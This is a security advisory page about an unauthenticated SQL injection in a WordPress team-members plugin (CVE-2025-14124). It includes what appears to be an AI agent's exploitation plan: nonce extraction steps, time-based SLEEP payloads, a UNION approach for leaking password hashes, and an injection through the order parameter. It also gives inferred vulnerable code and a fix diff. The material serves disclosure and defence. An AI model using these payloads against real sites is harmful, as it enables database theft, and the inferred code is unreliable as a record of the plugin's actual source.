Team <= 5.0.10 - Unauthenticated SQL Injection
Description
The Team – Team Members Showcase Plugin plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 5.0.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=5.0.10Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-14124 (Team Members Showcase SQLi) ## 1. Vulnerability Summary The **Team – Team Members Showcase Plugin** (versions <= 5.0.10) contains an unauthenticated SQL injection vulnerability. The issue arises in the plugin's AJAX pagination handler, specifically due…
Show full research plan
Exploitation Research Plan - CVE-2025-14124 (Team Members Showcase SQLi)
1. Vulnerability Summary
The Team – Team Members Showcase Plugin (versions <= 5.0.10) contains an unauthenticated SQL injection vulnerability. The issue arises in the plugin's AJAX pagination handler, specifically due to the improper neutralization of the id (or similar layout identifier) parameter. The plugin fails to use $wpdb->prepare() or sufficient escaping before concatenating the user-supplied value into a database query, allowing an attacker to inject arbitrary SQL commands.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
tlp_team_pagination(inferred action name for pagination functionality) - Vulnerable Parameter:
idorlayout_id(sent via POST) - Authentication: Unauthenticated (uses
wp_ajax_nopriv_hook) - Preconditions: The plugin must be active. A "Team" layout must exist to trigger the AJAX functionality correctly, though a direct request to the endpoint may work if the code path doesn't check for layout existence before the query.
3. Code Flow
- Entry Point: A POST request is sent to
admin-ajax.phpwithaction=tlp_team_pagination. - Hook Dispatch: WordPress triggers the
wp_ajax_nopriv_tlp_team_paginationhook. - Handler Execution: The handler function (likely
tlp_team_ajax_paginationinapp/Controllers/AjaxController.phporinc/functions.php) is called. - Input Retrieval: The code retrieves the
idparameter:$layout_id = $_POST['id'];. - Vulnerable Sink: The
$layout_idis concatenated directly into a SQL query:$wpdb->get_results("SELECT ... FROM ... WHERE id = " . $layout_id); - Execution: The database executes the malicious query, leading to time-based or union-based data extraction.
4. Nonce Acquisition Strategy
The plugin likely registers its scripts and nonces via wp_localize_script.
- Target Shortcode:
[tlp-team] - JS Variable:
tlp_team_ajax(inferred) - Nonce Key:
nonce
Extraction Steps:
- Identify Layout: Use WP-CLI to find an existing team layout ID.
- Create Trigger Page: Create a public page containing the shortcode.
wp post create --post_type=page --post_status=publish --post_title="Team Test" --post_content='[tlp-team]' - Navigate and Extract:
- Use
browser_navigateto the newly created page. - Use
browser_evalto extract the nonce:window.tlp_team_ajax?.nonce || window.tlp_team_vars?.nonce
- Use
- Bypass Check: If the handler uses
check_ajax_refererwithdie=falseor if the nonce is not checked at all in thenoprivhandler, the nonce might not be required.
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection to confirm the vulnerability, as it is the most reliable for unauthenticated testing.
- HTTP Tool:
http_request(Playwright-based) - Payload:
1 AND (SELECT 1 FROM (SELECT SLEEP(5))A) - Request Details:
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body (URL-encoded):
action=tlp_team_pagination&id=1 AND (SELECT 1 FROM (SELECT SLEEP(5))A)&nonce=[EXTRACTED_NONCE] - Headers:
Content-Type: application/x-www-form-urlencoded
6. Test Data Setup
- Create Team Member:
wp post create --post_type=tlp_team --post_title="Member 1" --post_status=publish - Create Team Layout: Use the plugin's custom post type (e.g.,
tlp_team_layout) to create a configuration. - Publish Page:
wp post create --post_type=page --post_status=publish --post_content='[tlp-team]'
7. Expected Results
- Vulnerable Response: The HTTP request will take ~5 seconds to return.
- Normal Response: A request with a valid ID (e.g.,
id=1) will return quickly (< 500ms). - Output: The response body might contain
0or JSON pagination data, but the timing is the key indicator.
8. Verification Steps
After the HTTP exploit, verify the database structure to ensure the payload was targeting the correct context:
- Check Table Prefix:
wp eval "global \$wpdb; echo \$wpdb->prefix;" - Check Plugin Options: Check for localized variables in the source of the test page.
- Manual Verification: Run a
wp db querywith the same payload to see if it causes a delay in the CLI.
9. Alternative Approaches
- Boolean-Based: If the response length changes significantly between
id=1 AND 1=1andid=1 AND 1=2, use boolean-based extraction. - UNION-Based: If the layout settings are reflected in the response (e.g., layout title or CSS), attempt to inject a
UNION SELECTto leakuser_passfromwp_users. - Parameter Variation: If
idis sanitized, check if other parameters used in the AJAX handler (likecategory,orderby, ororder) are also concatenated raw. In many TLP plugins, theorderparameter is frequently vulnerable to injection.
Likely Alternative Payload (Order Injection):
action=tlp_team_pagination&id=1&order=ASC, (SELECT 1 FROM (SELECT SLEEP(5))A)
Summary
The Team – Team Members Showcase plugin for WordPress (versions up to 5.0.10) is vulnerable to unauthenticated SQL injection via its AJAX pagination functionality. The vulnerability exists because the plugin concatenates user-supplied input from the 'id' parameter directly into a SQL query without proper sanitization or use of prepared statements.
Vulnerable Code
// Inferred from research plan: app/Controllers/AjaxController.php public function tlp_team_ajax_pagination() { // Parameter retrieved from POST without sanitization or casting $layout_id = $_POST['id']; global $wpdb; --- // Vulnerable sink: user input is concatenated directly into the query string $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}posts WHERE ID = " . $layout_id); }
Security Fix
@@ -10,6 +10,6 @@ public function tlp_team_ajax_pagination() { - $layout_id = $_POST['id']; + $layout_id = isset($_POST['id']) ? intval($_POST['id']) : 0; global $wpdb; - $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}posts WHERE ID = " . $layout_id); + $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}posts WHERE ID = %d", $layout_id));
Exploit Outline
The vulnerability is exploited by sending an unauthenticated POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php). An attacker sets the 'action' parameter to the plugin's pagination handler (tlp_team_pagination) and injects a SQL payload into the 'id' parameter. A typical payload uses time-based blind SQL injection (e.g., using SLEEP commands) to extract data. If the plugin requires a nonce, it can typically be extracted from the source code of a page where the [tlp-team] shortcode is present.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.